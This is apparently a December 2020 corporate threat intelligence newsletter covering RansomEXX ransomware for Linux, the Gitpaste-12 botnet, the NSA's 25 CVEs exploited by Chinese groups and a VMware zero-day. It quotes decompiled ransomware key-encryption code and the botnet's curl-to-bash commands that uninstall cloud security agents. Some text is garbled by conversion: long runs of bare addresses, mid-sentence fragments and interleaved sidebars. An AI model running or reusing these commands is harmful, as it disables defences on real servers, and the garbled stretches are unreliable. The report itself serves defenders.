

# Security Threat Intelligence Report

December 2020

## **In this issue**

COVID-19 vaccine manufacturers and supply chain targeted

RansomEXX ransomware targeting Linux systems

Botnet targets Linux servers, Linux IoT devices

NSA top 25 vulnerabilities exploited by Chinese APT groups

VMware zero-day vulnerability exploited in the wild

**About this report**

Fusing a range of public and proprietary information feeds, including DXC’s global network of security operations centers and cyber intelligence services, this report delivers an overview of major incidents, insights into key trends and strategic threat awareness.

This report is a part of [DXC Labs | Security](#), which provides insights and thought leadership to the security industry.

Intelligence cutoff date:  
November 30, 2020

**Message from Mark Hughes**



Cyber criminals are opportunists, and with COVID-19 vaccines shipping in multiple countries, attackers are targeting manufacturers and their supply chains in an effort to monetize ransomware attacks at the worst possible time and steal intellectual property and patient data. This month’s report also documents the expanding attacks against Linux, Windows, and internet of things (IoT) devices. Also, the SolarWinds hack is top of mind for everyone. This is a rapidly evolving situation, and we will share more details next month. For the most up to date information, refer to [CISA guidance](#).

**Mark Hughes**  
Senior Vice President  
Offerings & Strategic Partners  
DXC Technology

**Table of contents**

---

**Threat Updates**

<a href="#"><u>RansomEXX ransomware targeting Linux systems</u></a>	Multi-industry	3
<a href="#"><u>Botnet targets Linux servers, Linux IoT devices</u></a>	Multi-industry	4

---

**Vulnerability Updates**

<a href="#"><u>NSA lists top 25 vulnerabilities exploited by Chinese APT groups</u></a>	Multi-industry	6
<a href="#"><u>VMware zero-day vulnerability exploited in the wild by Russian APT groups</u></a>	Multi-industry	9

---

**Nation State and Geopolitical**

<a href="#"><u>COVID-19 vaccine manufacturers and supply chain targeted</u></a>	Public sector	10
---	---------------	----

# Threat Updates

## RansomEXX ransomware targeting Linux systems

RansomEXX, the same ransomware family that hit Windows machines at the Texas Department of Transportation (TxDOT) and Konica Minolta, is now targeting Linux systems.

Kaspersky researchers discovered a 64-bit Executable and Linkable Format (ELF) with the same tactics, techniques and procedures (TTPs) used for RansomEXX for Windows, including the same ransom notes and extortion methods.

RansomEXX typically targets large organizations. Each sample of the malware contains a hard-coded name of the victim organization. The encrypted file extension and email address for contacting the extortionists make use of the victim's name.

### Sample File Hash:

MD5 AA1DDF0C8312349BE614FF43E80A262F

SHA-191AD089F5259845141DFB10145271553AA711A2B

SHA-256 CB408D45762A628872FA782109E8FCFC3A5BF456074B007DE21E9331BB3C5849

- The malware/Trojan implements a cryptographic scheme using functions from the open source library mbed TLS.
- When executed, the Trojan generates a 256-bit key and uses the key to encrypt all the files on the target machines.
- The Advanced Encryption Standard (AES) key is encrypted by a public RSA-4096 key embedded in the Trojan's body and appended to each encrypted file.
- Malware launches a thread that regenerates and re-encrypts the AES key every 0.18 seconds.
- The keys change every second.

### Note:

The malware does not exhibit:

- C2 communication
- Termination of running processes
- Anti-analysis techniques

### Windows vs. Linux build

The malware code organization and the use of specific functions from the mbed tls library indicate both ELF and PE are derived from the same source code. A comparison of the procedures that encrypt the AES key show similarities.

No more hushed tones on criticism of China threat

Outgoing U.S. Director of National Intelligence John Ratcliffe warned that China is the world's greatest threat and that China intends to dominate the United States and the rest of the planet economically, militarily and technologically. Ratcliffe cautioned that most prominent Chinese companies are thinly veiled state enterprises that "rob, replicate and replace" by stealing intellectual property, replicating the technology and then replacing the firms in the global marketplace.

Source: AP News

```

v10 = mbedt11_mpi_read_string
v11 = 361L;
"01432008173995A0A8F1C1D3808B805872548E548E1029E11F87C4EE14899E4208F90808F7886
"FB0A2F074886F68C38C59E2A048F7797CF3A518C8400FAC0D5F388A16008D0A9224447A7487
"0F5E3E2A5E20320D178C71E494480CF8A4AF1F8985474F828E89F7C22885624590FEB089346
"1F7E1C353E1E004E41131C784807484808E1089F7788208A308F89A7A62879383AF2827A
"81898CF5CAA33FA839FA7970501F1D51E49484E18BAC679C8B6840F28184EAC348003F161
"DBAC2A42C7089F892184EE4C4F8E5295A786738047C150136E5C28C07885C272854438695
"GDAC69CA2E21E8761870E4E5E089E8962885E804F61225A0992802A07679A6C7E383A44CFD32
"80B72728E140480899419F84150673F04728C8289D08978C4939514D1E18D419CF3D445098
"187A4AF8E181842A65048728F7862A000781C8A720FC9788872440759E88F7A408F8E19
"0398A0F8F350870C6E9544A2A237";
if ( v10 )
return v11;
v12 = mbedt11_mpi_read_string(0x17, 361L, "010001");
if ( v12 )
return v11;
v13 = mbedt11_mpi_bitlen(v13 + 7) >> 3;
v14 = mbedt11_rsa_pkcs1_encrypt(0x16, mbedt11_ctr_dbg_random, v12, 0, 32L, v8, v10);
if ( v14 )
return v11;
pthread_mutex_lock(&csPivData);
"q_Keys = *v;
"q_KeyAES[8] = v;
"q_KeyAES[16] = v;
"q_KeyAES[24] = v;
"q_key_encrypt(q_Randomizer, v13, v10);
pthread_mutex_unlock(&csPivData);
v2 = 1;
mbedt11_rsa_free(0x15);
mbedt11_ctr_dbg_free(v13);
mbedt11_entropy_free(v13);
return v11;
}
0x401000
0x401001
0x401002
0x401003
0x401004
0x401005
0x401006
0x401007
0x401008
0x401009
0x40100A
0x40100B
0x40100C
0x40100D
0x40100E
0x40100F
0x401010
0x401011
0x401012
0x401013
0x401014
0x401015
0x401016
0x401017
0x401018
0x401019
0x40101A
0x40101B
0x40101C
0x40101D
0x40101E
0x40101F
0x401020
0x401021
0x401022
0x401023
0x401024
0x401025
0x401026
0x401027
0x401028
0x401029
0x40102A
0x40102B
0x40102C
0x40102D
0x40102E
0x40102F
0x401030
0x401031
0x401032
0x401033
0x401034
0x401035
0x401036
0x401037
0x401038
0x401039
0x40103A
0x40103B
0x40103C
0x40103D
0x40103E
0x40103F
0x401040
0x401041
0x401042
0x401043
0x401044
0x401045
0x401046
0x401047
0x401048
0x401049
0x40104A
0x40104B
0x40104C
0x40104D
0x40104E
0x40104F
0x401050
0x401051
0x401052
0x401053
0x401054
0x401055
0x401056
0x401057
0x401058
0x401059
0x40105A
0x40105B
0x40105C
0x40105D
0x40105E
0x40105F
0x401060
0x401061
0x401062
0x401063
0x401064
0x401065
0x401066
0x401067
0x401068
0x401069
0x40106A
0x40106B
0x40106C
0x40106D
0x40106E
0x40106F
0x401070
0x401071
0x401072
0x401073
0x401074
0x401075
0x401076
0x401077
0x401078
0x401079
0x40107A
0x40107B
0x40107C
0x40107D
0x40107E
0x40107F
0x401080
0x401081
0x401082
0x401083
0x401084
0x401085
0x401086
0x401087
0x401088
0x401089
0x40108A
0x40108B
0x40108C
0x40108D
0x40108E
0x40108F
0x401090
0x401091
0x401092
0x401093
0x401094
0x401095
0x401096
0x401097
0x401098
0x401099
0x40109A
0x40109B
0x40109C
0x40109D
0x40109E
0x40109F
0x4010A0
0x4010A1
0x4010A2
0x4010A3
0x4010A4
0x4010A5
0x4010A6
0x4010A7
0x4010A8
0x4010A9
0x4010AA
0x4010AB
0x4010AC
0x4010AD
0x4010AE
0x4010AF
0x4010B0
0x4010B1
0x4010B2
0x4010B3
0x4010B4
0x4010B5
0x4010B6
0x4010B7
0x4010B8
0x4010B9
0x4010BA
0x4010BB
0x4010BC
0x4010BD
0x4010BE
0x4010BF
0x4010C0
0x4010C1
0x4010C2
0x4010C3
0x4010C4
0x4010C5
0x4010C6
0x4010C7
0x4010C8
0x4010C9
0x4010CA
0x4010CB
0x4010CC
0x4010CD
0x4010CE
0x4010CF
0x4010D0
0x4010D1
0x4010D2
0x4010D3
0x4010D4
0x4010D5
0x4010D6
0x4010D7
0x4010D8
0x4010D9
0x4010DA
0x4010DB
0x4010DC
0x4010DD
0x4010DE
0x4010DF
0x4010E0
0x4010E1
0x4010E2
0x4010E3
0x4010E4
0x4010E5
0x4010E6
0x4010E7
0x4010E8
0x4010E9
0x4010EA
0x4010EB
0x4010EC
0x4010ED
0x4010EE
0x4010EF
0x4010F0
0x4010F1
0x4010F2
0x4010F3
0x4010F4
0x4010F5
0x4010F6
0x4010F7
0x4010F8
0x4010F9
0x4010FA
0x4010FB
0x4010FC
0x4010FD
0x4010FE
0x4010FF
0x401100
0x401101
0x401102
0x401103
0x401104
0x401105
0x401106
0x401107
0x401108
0x401109
0x40110A
0x40110B
0x40110C
0x40110D
0x40110E
0x40110F
0x401110
0x401111
0x401112
0x401113
0x401114
0x401115
0x401116
0x401117
0x401118
0x401119
0x40111A
0x40111B
0x40111C
0x40111D
0x40111E
0x40111F
0x401120
0x401121
0x401122
0x401123
0x401124
0x401125
0x401126
0x401127
0x401128
0x401129
0x40112A
0x40112B
0x40112C
0x40112D
0x40112E
0x40112F
0x401130
0x401131
0x401132
0x401133
0x401134
0x401135
0x401136
0x401137
0x401138
0x401139
0x40113A
0x40113B
0x40113C
0x40113D
0x40113E
0x40113F
0x401140
0x401141
0x401142
0x401143
0x401144
0x401145
0x401146
0x401147
0x401148
0x401149
0x40114A
0x40114B
0x40114C
0x40114D
0x40114E
0x40114F
0x401150
0x401151
0x401152
0x401153
0x401154
0x401155
0x401156
0x401157
0x401158
0x401159
0x40115A
0x40115B
0x40115C
0x40115D
0x40115E
0x40115F
0x401160
0x401161
0x401162
0x401163
0x401164
0x401165
0x401166
0x401167
0x401168
0x401169
0x40116A
0x40116B
0x40116C
0x40116D
0x40116E
0x40116F
0x401170
0x401171
0x401172
0x401173
0x401174
0x401175
0x401176
0x401177
0x401178
0x401179
0x40117A
0x40117B
0x40117C
0x40117D
0x40117E
0x40117F
0x401180
0x401181
0x401182
0x401183
0x401184
0x401185
0x401186
0x401187
0x401188
0x401189
0x40118A
0x40118B
0x40118C
0x40118D
0x40118E
0x40118F
0x401190
0x401191
0x401192
0x401193
0x401194
0x401195
0x401196
0x401197
0x401198
0x401199
0x40119A
0x40119B
0x40119C
0x40119D
0x40119E
0x40119F
0x4011A0
0x4011A1
0x4011A2
0x4011A3
0x4011A4
0x4011A5
0x4011A6
0x4011A7
0x4011A8
0x4011A9
0x4011AA
0x4011AB
0x4011AC
0x4011AD
0x4011AE
0x4011AF
0x4011B0
0x4011B1
0x4011B2
0x4011B3
0x4011B4
0x4011B5
0x4011B6
0x4011B7
0x4011B8
0x4011B9
0x4011BA
0x4011BB
0x4011BC
0x4011BD
0x4011BE
0x4011BF
0x4011C0
0x4011C1
0x4011C2
0x4011C3
0x4011C4
0x4011C5
0x4011C6
0x4011C7
0x4011C8
0x4011C9
0x4011CA
0x4011CB
0x4011CC
0x4011CD
0x4011CE
0x4011CF
0x4011D0
0x4011D1
0x4011D2
0x4011D3
0x4011D4
0x4011D5
0x4011D6
0x4011D7
0x4011D8
0x4011D9
0x4011DA
0x4011DB
0x4011DC
0x4011DD
0x4011DE
0x4011DF
0x4011E0
0x4011E1
0x4011E2
0x4011E3
0x4011E4
0x4011E5
0x4011E6
0x4011E7
0x4011E8
0x4011E9
0x4011EA
0x4011EB
0x4011EC
0x4011ED
0x4011EE
0x4011EF
0x4011F0
0x4011F1
0x4011F2
0x4011F3
0x4011F4
0x4011F5
0x4011F6
0x4011F7
0x4011F8
0x4011F9
0x4011FA
0x4011FB
0x4011FC
0x4011FD
0x4011FE
0x4011FF
0x401200
0x401201
0x401202
0x401203
0x401204
0x401205
0x401206
0x401207
0x401208
0x401209
0x40120A
0x40120B
0x40120C
0x40120D
0x40120E
0x40120F
0x401210
0x401211
0x401212
0x401213
0x401214
0x401215
0x401216
0x401217
0x401218
0x401219
0x40121A
0x40121B
0x40121C
0x40121D
0x40121E
0x40121F
0x401220
0x401221
0x401222
0x401223
0x401224
0x401225
0x401226
0x401227
0x401228
0x401229
0x40122A
0x40122B
0x40122C
0x40122D
0x40122E
0x40122F
0x401230
0x401231
0x401232
0x401233
0x401234
0x401235
0x401236
0x401237
0x401238
0x401239
0x40123A
0x40123B
0x40123C
0x40123D
0x40123E
0x40123F
0x401240
0x401241
0x401242
0x401243
0x401244
0x401245
0x401246
0x401247
0x401248
0x401249
0x40124A
0x40124B
0x40124C
0x40124D
0x40124E
0x40124F
0x401250
0x401251
0x401252
0x401253
0x401254
0x401255
0x401256
0x401257
0x401258
0x401259
0x40125A
0x40125B
0x40125C
0x40125D
0x40125E
0x40125F
0x401260
0x401261
0x401262
0x401263
0x401264
0x401265
0x401266
0x401267
0x401268
0x401269
0x40126A
0x40126B
0x40126C
0x40126D
0x40126E
0x40126F
0x401270
0x401271
0x401272
0x401273
0x401274
0x401275
0x401276
0x401277
0x401278
0x401279
0x40127A
0x40127B
0x40127C
0x40127D
0x40127E
0x40127F
0x401280
0x401281
0x401282
0x401283
0x401284
0x401285
0x401286
0x401287
0x401288
0x401289
0x40128A
0x40128B
0x40128C
0x40128D
0x40128E
0x40128F
0x401290
0x401291
0x401292
0x401293
0x401294
0x401295
0x401296
0x401297
0x401298
0x401299
0x40129A
0x40129B
0x40129C
0x40129D
0x40129E
0x40129F
0x4012A0
0x4012A1
0x4012A2
0x4012A3
0x4012A4
0x4012A5
0x4012A6
0x4012A7
0x4012A8
0x4012A9
0x4012AA
0x4012AB
0x4012AC
0x4012AD
0x4012AE
0x4012AF
0x4012B0
0x4012B1
0x4012B2
0x4012B3
0x4012B4
0x4012B5
0x4012B6
0x4012B7
0x4012B8
0x4012B9
0x4012BA
0x4012BB
0x4012BC
0x4012BD
0x4012BE
0x4012BF
0x4012C0
0x4012C1
0x4012C2
0x4012C3
0x4012C4
0x4012C5
0x4012C6
0x4012C7
0x4012C8
0x4012C9
0x4012CA
0x4012CB
0x4012CC
0x4012CD
0x4012CE
0x4012CF
0x4012D0
0x4012D1
0x4012D2
0x4012D3
0x4012D4
0x4012D5
0x4012D6
0x4012D7
0x4012D8
0x4012D9
0x4012DA
0x4012DB
0x4012DC
0x4012DD
0x4012DE
0x4012DF
0x4012E0
0x4012E1
0x4012E2
0x4012E3
0x4012E4
0x4012E5
0x4012E6
0x4012E7
0x4012E8
0x4012E9
0x4012EA
0x4012EB
0x4012EC
0x4012ED
0x4012EE
0x4012EF
0x4012F0
0x4012F1
0x4012F2
0x4012F3
0x4012F4
0x4012F5
0x4012F6
0x4012F7
0x4012F8
0x4012F9
0x4012FA
0x4012FB
0x4012FC
0x4012FD
0x4012FE
0x4012FF
0x401300
0x401301
0x401302
0x401303
0x401304
0x401305
0x401306
0x401307
0x401308
0x401309
0x40130A
0x40130B
0x40130C
0x40130D
0x40130E
0x40130F
0x401310
0x401311
0x401312
0x401313
0x401314
0x401315
0x401316
0x401317
0x401318
0x401319
0x40131A
0x40131B
0x40131C
0x40131D
0x40131E
0x40131F
0x401320
0x401321
0x401322
0x401323
0x401324
0x401325
0x401326
0x401327
0x401328
0x401329
0x40132A
0x40132B
0x40132C
0x40132D
0x40132E
0x40132F
0x401330
0x401331
0x401332
0x401333
0x401334
0x401335
0x401336
0x401337
0x401338
0x401339
0x40133A
0x40133B
0x40133C
0x40133D
0x40133E
0x40133F
0x401340
0x401341
0x401342
0x401343
0x401344
0x401345
0x401346
0x401347
0x401348
0x401349
0x40134A
0x40134B
0x40134C
0x40134D
0x40134E
0x40134F
0x401350
0x401351
0x401352
0x401353
0x401354
0x401355
0x401356
0x401357
0x401358
0x401359
0x40135A
0x40135B
0x40135C
0x40135D
0x40135E
0x40135F
0x401360
0x401361
0x401362
0x401363
0x401364
0x401365
0x401366
0x401367
0x401368
0x401369
0x40136A
0x40136B
0x40136C
0x40136D
0x40136E
0x40136F
0x401370
0x401371
0x401372
0x401373
0x401374
0x401375
0x401376
0x401377
0x401378
0x401379
0x40137A
0x40137B
0x40137C
0x40137D
0x40137E
0x40137F
0x401380
0x401381
0x401382
0x401383
0x401384
0x401385
0x401386
0x401387
0x401388
0x401389
0x40138A
0x40138B
0x40138C
0x40138D
0x40138E
0x40138F
0x401390
0x401391
0x401392
0x401393
0x401394
0x401395
0x401396
0x401397
0x401398
0x401399
0x40139A
0x40139B
0x40139C
0x40139D
0x40139E
0x40139F
0x4013A0
0x4013A1
0x4013A2
0x4013A3
0x4013A4
0x4013A5
0x4013A6
0x4013A7
0x4013A8
0x4013A9
0x4013AA
0x4013AB
0x4013AC
0x4013AD
0x4013AE
0x4013AF
0x4013B0
0x4013B1
0x4013B2
0x4013B3
0x4013B4
0x4013B5
0x4013B6
0x4013B7
0x4013B8
0x4013B9
0x4013BA
0x4013BB
0x4013BC
0x4013BD
0x4013BE
0x4013BF
0x4013C0
0x4013C1
0x4013C2
0x4013C3
0x4013C4
0x4013C5
0x4013C6
0x4013C7
0x4013C8
0x4013C9
0x4013CA
0x4013CB
0x4013CC
0x4013CD
0x4013CE
0x4013CF
0x4013D0
0x4013D1
0x4013D2
0x4013D3
0x4013D4
0x4013D5
0x4013D6
0x4013D7
0x4013D8
0x4013D9
0x4013DA
0x4013DB
0x4013DC
0x4013DD
0x4013DE
0x4013DF
0x4013E0
0x4013E1
0x4013E2
0x4013E3
0x4013E4
0x4013E5
0x4013E6
0x4013E7
0x4013E8
0x4013E9
0x4013EA
0x4013EB
0x4013EC
0x4013ED
0x4013EE
0x4013EF
0x4013F0
0x4013F1
0x4013F2
0x4013F3
0x4013F4
0x4013F5
0x4013F6
0x4013F7
0x4013F8
0x4013F9
0x4013FA
0x4013FB
0x4013FC
0x4013FD
0x4013FE
0x4013FF
0x401400
0x401401
0x401402
0x401403
0x401404
0x401405
0x401406
0x401407
0x401408
0x401409
0x40140A
0x40140B
0x40140C
0x40140D
0x40140E
0x40140F
0x401410
0x401411
0x401412
0x401413
0x401414
0x401415
0x401416
0x401417
0x401418
0x401419
0x40141A
0x40141B
0x40141C
0x40141D
0x40141E
0x40141F
0x401420
0x401421
0x401422
0x401423
0x401424
0x401425
0x401426
0x401427
0x401428
0x401429
0x40142A
0x40142B
0x40142C
0x40142D
0x40142E
0x40142F
0x401430
0x401431
0x401432
0x401433
0x401434
0x401435
0x401436
0x401437
0x401438
0x401439
0x40143A
0x40143B
0x40143C
0x40143D
0x40143E
0x40143F
0x401440
0x401441
0x401442
0x401443
0x401444
0x401445
0x401446
0x401447
0x401448
0x401449
0x40144A
0x40144B
0x40144C
0x40144D
0x40144E
0x40144F
0x401450
0x401451
0x401452
0x401453
0x401454
0x401455
0x401456
0x401457
0x401458
0x401459
0x40145A
0x40145B
0x40145C
0x40145D
0x40145E
0x40145F
0x401460
0x401461
0x401462
0x401463
0x401464
0x401465
0x401466
0x401467
0x401468
0x401469
0x40146A
0x40146B
0x40146C
0x40146D
0x40146E
0x40146F
0x401470
0x401471
0x401472
0x401473
0x401474
0x401475
0x401476
0x401477
0x401478
0x401479
0x40147A
0x40147B
0x40147C
0x40147D
0x40147E
0x40147F
0x401480
0x401481
0x401482
0x401483
0x401484
0x401485
0x401486
0x401487
0x401488
0x401489
0x40148A
0x40148B
0x40148C
0x40148D
0x40148E
0x40148F
0x401490
0x401491
0x401492
0x401493
0x401494
0x401495
0x401496
0x401497
0x401498
0x401499
0x40149A
0x40149B
0x40149C
0x40149D
0x40149E
0x40149F
0x4014A0
0x4014A1
0x4014A2
0x4014A3
0x4014A4
0x4014A5
0x4014A6
0x4014A7
0x4014A8
0x4014A9
0x4014AA
0x4014AB
0x4014AC
0x4014AD
0x4014AE
0x4014AF
0x4014B0
0x4014B1
0x4014B2
0x4014B3
0x4014B4
0x4014B5
0x4014B6
0x4014B7
0x4014B8
0x4014B9
0x4014BA
0x4014BB
0x4014BC
0x4014BD
0x4014BE
0x4014BF
0x4014C0
0x4014C1
0x4014C2
0x4014C3
0x4014C4
0x4014C5
0x4014C6
0x4014C7
0x4014C8
0x4014C9
0x4014CA
0x4014CB
0x4014CC
0x4014CD
0x4014CE
0x4014CF
0x4014D0
0x4014D1
0x4014D2
0x4014D3
0x4014D4
0x4014D5
0x4014D6
0x4014D7
0x4014D8
0x4014D9
0x4014DA
0x4014DB
0x4014DC
0x4014DD
0x4014DE
0x4014DF
0x4014E0
0x4014E1
0x4014E2
0x4014E3
0x4014E4
0
```

## New Trickbot malware targets underlying PC firmware

Trickbot has acquired a new power: the ability to modify a computer's Unified Extensible Firmware Interface (UEFI). Researchers have detected Trickbot testing UEFI controls, but say the malware could be modified to infect or completely erase the critical piece of firmware.

Source: [ARS Technica](#)

control security policies, including mandatory access controls; and AppArmor, a Linux kernel security module that allows the system administrator to restrict programs' capabilities with per-program profiles.

Immediately after compromise, the malware sets up a cron job it downloads from Pastebin. The cron job calls the same script and executes it again each minute, which is possibly how updates to the cron jobs are pushed to the botnet. The main shell script downloads and executes other components of Gitpaste-12. Next, it downloads from GitHub (<https://raw.githubusercontent.com/cnmnmsl-001/-/master/shadu1>) and executes it. The shadu1 script contains comments in Chinese.

Commands below disable cloud security agents:

- `curl http://update.aegis.aliyun.com/download/uninstall.sh | bash`
- `curl http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash`
- `/usr/local/qcloud/stargate/admin/uninstall.sh`
- `/usr/local/qcloud/YunJing/uninst.sh`
- `/usr/local/qcloud/monitor/barad/admin/uninstall.sh`

The malware is believed to target public cloud computing infrastructure provided by Alibaba Cloud and Tencent.

Gitpaste-12 uses 11 vulnerabilities and a telnet brute force tactic to spread. Known vulnerabilities include:

CVE-2017-14135	Webadmin plugin for opendreambox
CVE-2020-24217	HiSilicon based IPTV/H.264/H.265 video encoders
CVE-2017-5638	Apache Struts
CVE-2020-10987	Tenda router
CVE-2014-8361	Miniigd SOAP service in Realtek SDK
CVE-2020-15893	UPnP in d-link routers
CVE-2013-5948	Asus routers
EDB-ID: 48225	Netlink GPON Router
EDB-ID: 40500	AVTECH IP Camera
CVE-2019-10758	Mongo db
CVE-2017-17215	(Huawei router)

## Indicators of compromise URLs:

- `hxxps://raw.githubusercontent.com/cnmnmsl-001/-/master/shadu1`
- `hxxps://raw.githubusercontent.com/cnmnmsl-001/`
- `hxxps://pastebin.com/raw/Tg5FQHhf`
- `hxxps://github.com/cnmnmsl-001/-`

### Hashes

- Monero Miner  
e67f78c479857ed8c562e576dcc9a8471c5f1ab4c00bb557b1b9c2d9284b8af9
- hide.so  
ed4868ba445469abfa3cfc6c70e8fdd36a4345c21a3f451c7b65d6041fb8492b
- Miner config  
bd5e9fd8215f80ca49c142383ba7dbf7e24aaf895ae25af96bdab89c0bdcc3f1
- Shell script  
5d1705f02cde12c27b85a0104cd76a39994733a75fa6e1e5b014565ad63e7bc3

### Impact

This botnet covers many areas, has been spotted in the wild and has multiple attack vectors. It is hosted on legitimate sites, shows persistence and stealth and disables security tools. Remediating vulnerabilities is key to preventing this malware from impacting a network.

### DXC perspective

As mentioned in the RansomEXX section above, attacks targeting Linux machines are increasing as threat actors develop tools to compromise this environment. This botnet is most likely used to create a list of compromised machines that threat actors will revisit to launch other malware. It is also highly possible that access to the compromised machines will be sold on the dark web to other threat actors.

---

Source:

[Juniper](#)

## Vulnerability Updates

### NSA lists top 25 vulnerabilities exploited by Chinese APT groups

A U.S. National Security Agency (NSA) advisory provides Common Vulnerabilities and Exposures (CVEs) known to be recently leveraged, or scanned-for, by Chinese state-sponsored cyber actors to enable successful hacking operations against a multitude of victim networks.

Most of the vulnerabilities can be exploited to gain initial access to victim networks using products that are directly accessible from the internet and act as gateways to internal networks. The majority of the products are either for remote access (T1133) or for external web services (T1190). These exploits for many of these vulnerabilities are publicly available and are employed by multiple threat actors, including China-linked hackers, in attacks in the wild. Most of the vulnerabilities can be exploited to gain initial access to the target networks and affect systems that are directly accessible from the internet, such as firewalls and gateways.

### Egregor continues high-profile ransomware attacks

Egregor ransomware, a complex piece of malware that employs obfuscation and strong anti-analysis techniques, has been at the center of high-profile ransomware attacks. Egregor ransomware targets organizations with a ransom demand and uses “name and shame” double extortion technique to maximum effect.

Source: [Recorded Future](#)

### Brazil government leaks health data of 243M people

A recent security breach in the Ministry of Health’s COVID-19 notification system exposed the personal data of over 240 million Brazilians, both living and dead. Credentials used in the breach were posted in a section of the website code, enabling attackers to find the password, decrypt it and access the database.

Source: [Security Boulevard](#)

1. **CVE-2019-11510** – In Pulse Secure VPN, an unauthenticated remote attacker can send a specially crafted Uniform Resource Identifier (URI) to perform an arbitrary file reading vulnerability. This may lead to exposure of keys or passwords.
2. **CVE-2020-5902** – In F5 BIG-IP 8 proxy/load balancer devices, the Traffic Management User Interface – also referred to as the Configuration utility – has a remote code execution vulnerability in undisclosed pages.
3. **CVE-2019-19781** – An issue was discovered in Citrix 9 Application Delivery Controller and Gateway. The vulnerability allows directory traversal, which can lead to remote code execution without credentials.
- 4-6. **CVE-2020-8193, CVE-2020-8195, CVE-2020-8196** – Improper access control and input validation in Citrix ADC and Citrix®Gateway and Citrix SD-WAN WANOP allows unauthenticated access to certain URL endpoints and information disclosure to low-privileged users.
7. **CVE-2019-0708 (aka BlueKeep)** – A remote code execution vulnerability exists within Remote Desktop Services 10 when an unauthenticated attacker connects to the target system using remote desktop protocol (RDP) and sends specially crafted requests.
8. **CVE-2020-15505** – A remote code execution vulnerability in the MobileIron 13 mobile device management software allows remote attackers to execute arbitrary code and take over remote company servers.
9. **CVE-2020-1350 (aka SIGRed)** – A remote code execution vulnerability exists in Windows Domain Name System servers when they fail to properly handle requests.
10. **CVE-2020-1472 (aka Netlogon)** – An elevation of privilege vulnerability exists when an attacker establishes a vulnerable Netlogon secure channel connection to a domain controller using the Netlogon Remote Protocol (MS-NRPC).
11. **CVE-2019-1040** – A tampering vulnerability exists in Microsoft Windows when a man-in-the-middle attacker is able to successfully bypass the NTLM Message Integrity Check protection.
12. **CVE-2018-6789** – Sending a handcrafted message to an Exim mail transfer agent may cause a buffer overflow. This can be used to execute code remotely and take over email servers.
13. **CVE-2020-0688** – A Microsoft Exchange validation key remote code execution vulnerability exists when the software fails to properly handle objects in memory.
14. **CVE-2018-4939** – Certain Adobe ColdFusion versions have an exploitable Deserialization of Untrusted Data vulnerability. Successful exploitation could lead to arbitrary code execution.
15. **CVE-2015-4852** – The WLS Security component in Oracle WebLogic 15 Server allows remote attackers to execute arbitrary commands via a crafted serialized Java object.
16. **CVE-2020-2555** – A vulnerability exists in the Oracle Coherence product of Oracle Fusion Middleware. This easily exploitable vulnerability allows an unauthenticated attacker with network access via T3 to compromise Oracle Coherence systems.

## New Microsoft spearphishing attack uses exact domain spoofing

Security researchers recently detected a spearphishing attack that uses an exact domain spoofing tactic to impersonate Microsoft, targeting Office 365 users in financial services, healthcare, insurance, manufacturing, utilities and telecom firms. Attackers' emails used a fraudulent domain, disguising the phishing emails so that they appeared to have originated from "Microsoft Outlook" at the email no-reply@microsoft.com.

Source: [Tripwire](#)

17. **CVE-2019-3396** – The Widget Connector macro in Atlassian Confluence 7 Server allows remote attackers to achieve path traversal and remote code execution on a Confluence Server or Data Center instance via server-side template injection.
18. **CVE-2019-11580** – Attackers who can send requests to an Atlassian Crowd or Crowd Data Center instance can exploit this vulnerability to install arbitrary plugins, which permit remote code execution.
19. **CVE-2020-10189** – Zoho ManageEngine Desktop Central allows remote code execution because of deserialization of untrusted data.
20. **CVE-2019-18935** – Progress Telerik UI for ASP.NET AJAX contains a .NET deserialization vulnerability. Exploitation can result in remote code execution.
21. **CVE-2020-0601 (aka CurveBall)** – A spoofing vulnerability exists in the way Windows CryptoAPI (Crypt32.dll) validates Elliptic Curve Cryptography certificates. An attacker could exploit the vulnerability by using a spoofed code-signing certificate to sign a malicious executable, making it appear that the file was from a trusted, legitimate source.
22. **CVE-2019-0803** – An elevation of privilege vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory.
23. **CVE-2017-6327** – The Symantec Messaging Gateway can encounter a remote code execution issue.
24. **CVE-2020-3118** – A vulnerability in the Cisco Discovery Protocol implementation for Cisco IOS XR Software could allow an unauthenticated, adjacent attacker to execute arbitrary code or cause a reload an affected device.
25. **CVE-2020-8515** – DrayTek Vigor devices allow remote code execution as root (without authentication) via shell metacharacters.

## Impact

The vulnerabilities outlined by the NSA can be exploited to gain network access. Most are products that are internet-facing, and a successful exploit would provide entry to internal systems. The NSA advises that all vulnerabilities on this list be made a priority when patching.

## DXC perspective

A successful exploit of one or multiple vulnerabilities will provide attackers with internal network access and in most cases with high-level privileges. A complete compromise of the affected network can be expected. State-sponsored threat actors have been observed attempting to exploit these vulnerabilities in the wild. Visibility to all network assets and prompt **mitigation of these vulnerabilities** is highly recommended.

---

Sources:  
InfraGard - Membership  
NSA Alert Distribution



Other news

- U.S. urges think tanks to be on guard for foreign hacking activity – [cyberscoop](#)
- Why Hackers Love the Pandemic – [Security Boulevard](#)
- Open Source Does Not Equal Secure – [Security Boulevard](#)
- Four Out of Five Criminals Prefer HTTPS – [Security Boulevard](#)

# VMware zero-day vulnerability exploited in the wild by Russian APT groups

The NSA advised that a VMware zero-day vulnerability is being exploited in the wild by Russian APT groups. VMware released workaround instructions for CVE-2020-4006 as follows:

- VMware Workspace One Access, Identity Manager, or Identity Manager Connector, VMware Workspace One Access, VMware Identity Manager, VMware Identity Manager Connector Workaround Instructions for [CVE-2020-4006 \(81731\)](#)
- VMware Advisory [VMSA-2020-0027](#)
- [CERT/CC VU724367](#)
- 12/05/2020 VMware Patch released, HW-128524: [CVE-2020-4006](#) for Workspace ONE Access, Identity Manager and Connector (81754)
- 12/2020 [CVE-2020-4006 NSA advisory](#)

The vulnerability affects the following products:

Product	Version	Operating System
VMware Workspace ONE Access	20.10	Linux
VMware Workspace ONE Access	20.01	Linux
VMware Identity Manager	3.3.3	Linux
VMware Identity Manager	3.3.2	Linux
VMware Identity Manager	3.3.1	Linux
VMware Identity Manager Connector	3.3.2, 3.3.1	Linux
VMware Identity Manager Connector	3.3.3, 3.3.2, 3.3.1	Windows
VMware Identity Manager Connector	19.03	Windows
VMware Identity Manager Connector	19.03.0.1	Windows

## Impact:

Zero-day vulnerability CVE-2020-4006 has a “high” severity with a Common Vulnerability Scoring System (CVSS) score of 7.2.

